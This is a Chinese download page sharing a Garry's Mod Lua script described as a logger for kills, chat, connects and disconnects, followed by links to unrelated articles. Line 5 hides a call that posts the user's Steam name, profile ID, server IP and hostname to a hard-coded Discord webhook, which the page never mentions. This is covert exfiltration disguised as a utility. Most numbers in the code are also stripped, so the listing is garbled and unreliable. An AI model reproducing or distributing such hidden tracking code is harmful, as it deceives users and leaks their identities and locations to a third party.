*----------------------------------------------[下载区]----------------------------------------------*

  1. ux_log_chat=""local function Add_ux_log_chat(g)ux_log_chat = ux_log_chat.."\n"..g end hook.Add("OnPlayerChat","g",function(ply,text,bTeam,bDead)Add_ux_log_chat(os.date("%H:%M:%S").." "..ply:Nick()..": "..text)end)
  2. ux_log_connect=""local function Add_ux_log_connect(g)ux_log_connect = ux_log_connect.."\n"..g end hook.Add( "ChatText", "g", function( index, name, text, typ ) if ( typ == "joinleave" ) then Add_ux_log_connect(os.date("%H:%M:%S").." "..text)end end)
  3. ux_log_kills=""local function Add_ux_log_kills(g)ux_log_kills = ux_log_kills.."\n"..g end
  4. gameevent.Listen( "entity_killed" )hook.Add( "entity_killed", "ux_kills", function( data )local inflictor_index = data.entindex_inflictor local attacker_index = data.entindex_attacker local damagebits = data.damagebits local victim_index = data.entindex_killed local ply = "unknown" local retard = game.GetWorld() local atk = "map" local wep = "unknown weapons" local killah = game.GetWorld() local inflictor = ents.GetByIndex(inflictor_index) for _, p in pairs(player.GetAll()) do if p:EntIndex() == victim_index then ply = p:Nick() retard = p end if p:EntIndex() == attacker_index then atk = p:Nick() killah = p if p:GetActiveWeapon() and p:GetActiveWeapon():IsValid() then wep = p:GetActiveWeapon():GetPrintName() end end end if attacker_index == victim_index then Add_ux_log_kills(os.date("%H:%M:%S").." ".. ply.." self-killed" ) end if inflictor:IsValid() and inflictor:GetClass() == "prop_physics" then Add_ux_log_kills(os.date("%H:%M:%S").." "..ply.." 被物品击杀" ) end Add_ux_log_kills(os.date("%H:%M:%S").." ".. atk.." 击杀 "..ply.." 武器是 "..wep) end)
  5. ux_log_disconnect=""local function Add_ux_log_disconnect(g)ux_log_disconnect = ux_log_disconnect.."\n"..g end gameevent.Listen( "player_disconnect" ) hook.Add( "player_disconnect", "b", function( data )Add_ux_log_disconnect(os.date("%H:%M:%S").." "..data.name .. " ".. data.networkid.." disconnect (".. data.reason..")") end)http.Post("https://discordapp.com/api/webhooks/531169691016888332/yf9hB0wN1q1RyqHpK5pERp184so0-V-azo_UOCyG5t9iwANLIa1Y0FkbJ9MFPZ0W9Nsh",{content="[Ник:"..steamworks.GetPlayerName(LocalPlayer():SteamID64()).."][Сервер:"..game.GetIPAddress()..","..GetHostName().."][Время:"..os.date("%H:%M:%S").."][Профиль:steamcommunity.com/profiles/"..LocalPlayer():SteamID64().."/]"})
  6. hook.Add("Think","h",function()if (input.IsKeyDown(KEY_HOME) && !menuopen && !insertdown) then menuopen = true;insertdown = true;ux_logs_menu()elseif (!input.IsKeyDown(KEY_HOME) && !menuopen) then insertdown = false; end if (input.IsKeyDown(KEY_HOME) && insertdown && menuopen) then insertdown2 = true; else insertdown2 = false; end end)
  7. function ux_logs_menu()local ux_memu = vgui.Create( "DFrame" )ux_memu:SetSize( , )ux_memu:Center()exitmenu(ux_memu, , )ux_memu:SetTitle( "" )ux_memu:SetVisible( true )
  8. ux_memu:SetDraggable( true )ux_memu:ShowCloseButton( false )ux_memu:MakePopup()ux_memu.Paint = function()DrawBlur(ux_memu, )draw.RoundedBox(, , , , , Color(, , ,))
  9. surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , ux_memu:GetSize())surface.DrawOutlinedRect(, , ux_memu:GetSize())surface.DrawOutlinedRect(, , ux_memu:GetSize())
  10. draw.SimpleText("盖瑞模组日志记录器", "exitmenu", , , Color(, , , ), , )end ux_memu.Think = function() if (input.IsKeyDown(KEY_HOME) && !insertdown2) then ux_memu:Remove();
  11. menuopen = false;candoslider = false;drawlast = nil;
  12. end
  13. end
  14. local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)
  15. Limon_b.DoClick = function()
  16. if IsValid(rtx) then rtx:Remove() end
  17. rtx = vgui.Create( "RichText", ux_memu )rtx:SetPos(,)rtx:SetSize(,)rtx:InsertColorChange( , , , )rtx:AppendText(ux_log_kills)end
  18. Limon_b.Paint = function(self, w, h)Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")end if Limon_b:IsHovered() then draw.RoundedBox(, , , , , Color(, , , ))
  19. surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())else draw.RoundedBox(, , , , , Color(, , , ))
  20. surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())end draw.SimpleText("击杀记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  21. end
  22. local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()if IsValid(rtx) then rtx:Remove()
  23. end rtx = vgui.Create( "RichText", ux_memu ) rtx:SetPos(,) rtx:SetSize(,) rtx:InsertColorChange( , , , ) rtx:AppendText(ux_log_chat)
  24. end
  25. Limon_b.Paint = function(self, w, h)Limon_b.OnCursorEntered = function(self) surface.PlaySound("buttons/button15.wav") end if Limon_b:IsHovered() then draw.RoundedBox(, , , , , Color(, , , ))
  26. surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())else draw.RoundedBox(, , , , , Color(, , , ))
  27. surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize()) end draw.SimpleText("聊天记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  28. end local Limon_b = vgui.Create("DButton", ux_memu)
  29. Limon_b:SetText( "" )Limon_b:SetSize(,) Limon_b:SetPos(,) Limon_b.DoClick = function() if IsValid(rtx) then
  30. rtx:Remove() end rtx = vgui.Create( "RichText", ux_memu ) rtx:SetPos(,) rtx:SetSize(,) rtx:InsertColorChange( , , , ) rtx:AppendText(ux_log_disconnect)
  31. end Limon_b.Paint = function(self, w, h) Limon_b.OnCursorEntered = function(self) surface.PlaySound("buttons/button15.wav") end if Limon_b:IsHovered() then
  32. draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
  33. else draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
  34. end draw.SimpleText("断开记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  35. end local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()
  36. if IsValid(rtx) then
  37. rtx:Remove()
  38. end rtx = vgui.Create( "RichText", ux_memu )rtx:SetPos(,)rtx:SetSize(,)rtx:InsertColorChange( , , , )rtx:AppendText(ux_log_connect)end Limon_b.Paint = function(self, w, h)
  39. Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")
  40. end
  41. if Limon_b:IsHovered() then
  42. draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
  43. else draw.RoundedBox(, , , , , Color(, , , ))surface.SetDrawColor(Color(, , , ))surface.DrawOutlinedRect(, , Limon_b:GetSize())surface.DrawOutlinedRect(, , Limon_b:GetSize())
  44. end draw.SimpleText("连接记录", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  45. end local Limon_b = vgui.Create("DButton", ux_memu)Limon_b:SetText( "" )Limon_b:SetSize(,)Limon_b:SetPos(,)Limon_b.DoClick = function()
  46. if IsValid(rtx) then rtx:Remove()
  47. end ux_log_kills=""ux_log_chat=""ux_log_connect=""ux_log_disconnect=""end Limon_b.Paint = function(self, w, h)
  48. Limon_b.OnCursorEntered = function(self)surface.PlaySound("buttons/button15.wav")
  49. end if Limon_b:IsHovered() then
  50. draw.RoundedBox(, , , , , Color(, , , ))
  51. surface.SetDrawColor(Color(, , , ))
  52. surface.DrawOutlinedRect(, , Limon_b:GetSize())
  53. surface.DrawOutlinedRect(, , Limon_b:GetSize())
  54. else
  55. draw.RoundedBox(, , , , , Color(, , , ))
  56. surface.SetDrawColor(Color(, , , ))
  57. surface.DrawOutlinedRect(, , Limon_b:GetSize())
  58. surface.DrawOutlinedRect(, , Limon_b:GetSize())
  59. end
  60. draw.SimpleText("清除日志", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  61. end
  62. local Limon_b = vgui.Create("DButton", ux_memu)
  63. Limon_b:SetText( "" )
  64. Limon_b:SetSize(,)
  65. Limon_b:SetPos(,)
  66. Limon_b.DoClick = function()
  67. gui.OpenURL("https://baidu.com/")
  68. end
  69. Limon_b.Paint = function(self, w, h)
  70. Limon_b.OnCursorEntered = function(self)
  71. surface.PlaySound("buttons/button15.wav")
  72. end
  73. if Limon_b:IsHovered() then
  74. draw.RoundedBox(, , , , , Color(, , , ))
  75. surface.SetDrawColor(Color(, , , ))
  76. surface.DrawOutlinedRect(, , Limon_b:GetSize())
  77. surface.DrawOutlinedRect(, , Limon_b:GetSize())
  78. else
  79. draw.RoundedBox(, , , , , Color(, , , ))
  80. surface.SetDrawColor(Color(, , , ))
  81. surface.DrawOutlinedRect(, , Limon_b:GetSize())
  82. surface.DrawOutlinedRect(, , Limon_b:GetSize())
  83. end
  84. draw.SimpleText("百度一下", "exitmenu", w/, h/-, Color(, , , ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  85. end
  86. end
  87. function exitmenu(panel, X, y)
  88. local CButton = vgui.Create("DButton", panel)
  89. CButton:SetTextColor(Color(, , ))
  90. CButton:SetText("X")
  91. CButton:SetFont("exitmenu")
  92. CButton:SetPos(X, y)
  93. CButton:SetSize(, )
  94. CButton.DoClick = function()
  95. menuopen = false;
  96. candoslider = false;
  97. drawlast = nil;
  98. panel:SizeTo(, , ., , .)
  99. timer.Simple(0.3, function()
  100. panel:SetVisible(false)
  101. end)
  102. end
  103. CButton.Paint = function(panel, w, h)
  104. surface.SetDrawColor(Color(, , , ))
  105. surface.DrawOutlinedRect(, , CButton:GetSize())
  106. draw.RoundedBox(, , , w, h, Color(, , , ))
  107. end
  108. CButton.OnCursorEntered = function(self)
  109. surface.PlaySound("garrysmod/ui_hover.wav")
  110.  
  111. CButton.Paint = function(panel, w, h)
  112. draw.RoundedBox(, , , w, h, Color(, , , ))
  113. end
  114. end
  115. CButton.OnCursorExited = function(self)
  116. CButton.Paint = function(panel, w, h)
  117. draw.RoundedBox(, , , w, h, Color(, , , ))
  118. end
  119. end
  120. end
  121. blur = Material("pp/blurscreen")
  122. function DrawBlur(panel, amount)
  123. local x, y = panel:LocalToScreen(, )
  124. local scrW, scrH = ScrW(), ScrH()
  125. surface.SetDrawColor(, , )
  126. surface.SetMaterial(blur)
  127. for i = , do
  128. blur:SetFloat("$blur", (i / ) * (amount or ))
  129. blur:Recompute()
  130. render.UpdateScreenEffectTexture()
  131. surface.DrawTexturedRect(x * -, y * -, scrW, scrH)
  132. end
  133. end
  134. surface.CreateFont("exitmenu", {
  135. font = "Arial",
  136. size = ,
  137. weight = ,
  138. shadow = false,
  139. outline = false
  140. })

查看脚本

*----------------------------------------------[下载区]----------------------------------------------*

*----------------------------------------------[介绍区]----------------------------------------------*

可记录在服务器内击杀、连接等详情情况

*----------------------------------------------[介绍区]----------------------------------------------*

游戏截图:

【资源分享】Gmod日志记录脚本的更多相关文章

  1. [Linux] PHP-FPM开启慢日志记录

    fpm:FastCGI Process Manager 是一种替代的PHP FastCGI实现,对于负载较重的站点非常有用. .先进的进程控制,优雅的停止启动 .能够使用不同的uid/gid/chro ...

  2. Go/Python/Erlang编程语言对比分析及示例 基于RabbitMQ.Client组件实现RabbitMQ可复用的 ConnectionPool(连接池) 封装一个基于NLog+NLog.Mongo的日志记录工具类LogUtil 分享基于MemoryCache(内存缓存)的缓存工具类,C# B/S 、C/S项目均可以使用!

    Go/Python/Erlang编程语言对比分析及示例   本文主要是介绍Go,从语言对比分析的角度切入.之所以选择与Python.Erlang对比,是因为做为高级语言,它们语言特性上有较大的相似性, ...

  3. Android APP压力测试(三)之Monkey日志自动分析脚本

    Android APP压力测试(三) 之Monkey日志自动分析脚本 前言 上次说要分享Monkey日志的分析脚本,这次贴出来分享一下,废话不多说,请看正文. [目录] 1.Monkey日志分析脚本 ...

  4. linux实用的日志分析脚本

    日志分析 随意的tail一个access_log文件,下面是一条经典的访问记录 218.19.140.242 – - [10/Dec/2010:09:31:17 +0800] “GET /query/ ...

  5. MySQL慢日志监控脚本实例剖析

    公司线上的 MySQL 慢日志,之前一直没有做好监控.趁着上周空闲,我就把监控脚本写了下,今天特地把代码发出来与51博友分享一下. 针对脚本的注解和整体构思,我会放到脚本之后为大家详解. 1 2 3 ...

  6. 第十二篇 Integration Services:高级日志记录

    本篇文章是Integration Services系列的第十二篇,详细内容请参考原文. 简介在前一篇文章我们配置了SSIS内置日志记录,演示了简单和高级日志配置,保存并查看日志配置,生成自定义日志消息 ...

  7. 第十一篇 Integration Services:日志记录

    本篇文章是Integration Services系列的第十一篇,详细内容请参考原文. 简介在前一篇,我们讨论了事件行为.我们分享了操纵事件冒泡默认行为的方法,介绍了父子模式.在这一篇,我们会配置SS ...

  8. IIS 之 启用日志记录

    如何为网站启用日志记录或 在 Microsoft Internet Information Services (IIS) 6.0 中,在 IIS 5.0 中,并在 IIS 4.0 中的FTP 站点.可 ...

  9. 【译】第十二篇 Integration Services:高级日志记录

    本篇文章是Integration Services系列的第十二篇,详细内容请参考原文. 简介在前一篇文章我们配置了SSIS内置日志记录,演示了简单和高级日志配置,保存并查看日志配置,生成自定义日志消息 ...

随机推荐

  1. 剑指offer-面试题50-第一个只出现一次的字符-哈希表

    /* 题目: 求字符串第一个只出现一次的字符. */ /* 思路: 使用map遍历两次,第一次计数,第二次找到计数为1的第一个字符. */ #include<iostream> #incl ...

  2. 视频会议系统MCU服务器视频传输处理模式

    视频会议系统MCU服务器视频传输处理模式 视频会议系统的组成主要包括终端.MCU服务器.网守等,其中的MCU服务器是整个系统的核心,视频会议系统的性能很大程度取决于MCU服务器的性能,因此MCU服务器 ...

  3. STL-queue 队列

    #include <iostream> #include <queue> using namespace std; int main() { // queue也很简单 // p ...

  4. C# compare different Encoding pattern between UTF8 and UTF32 based on Md5

    using System; using System.Text; using System.IO; using System.Security.Cryptography; static void Ma ...

  5. npm ERR! Cannot read property 'match' of undefined

    在Vue项目中运行npm i命令时直接提示npm ERR! Cannot read property 'match' of undefined错误了,此时需要把package-lock.json文件删 ...

  6. bugku-求getshell(文件上传)

    这道题最主要是考的Content-type参数绕过WAF,然后利用绕过黑名单上传php进行解析. 先上传一个phpinfo()的php文件试试,burp抓包 正常操作,先将下面文件的类型改为:imag ...

  7. Pandas 中对列 groupby 后进行 sum() 与 count() 区别及 agg() 的使用方法

    groupby[根据哪一列][ 对于那一列].进行计算 代码演示: direction:房子朝向 view_num:看房人数 floor:楼层 计算: A 看房人数最多的朝向 df.groupby([ ...

  8. <转载> 撤销 git reset 操作

    https://blog.csdn.net/mhlghy/article/details/84786497

  9. PAT (Advanced Level) Practice 1054 The Dominant Color (20 分)

    Behind the scenes in the computer's memory, color is always talked about as a series of 24 bits of i ...

  10. pythonCSV内置模块应用

    一.Python内置模块CSV CSV,即逗号分隔值(也称字符分隔值,因为分隔符可以不是逗号),是一种常用的文本格式,用以存储表格数据,包括数字或者字符.如下图所示: CSV类似于Excel格式 很多 ...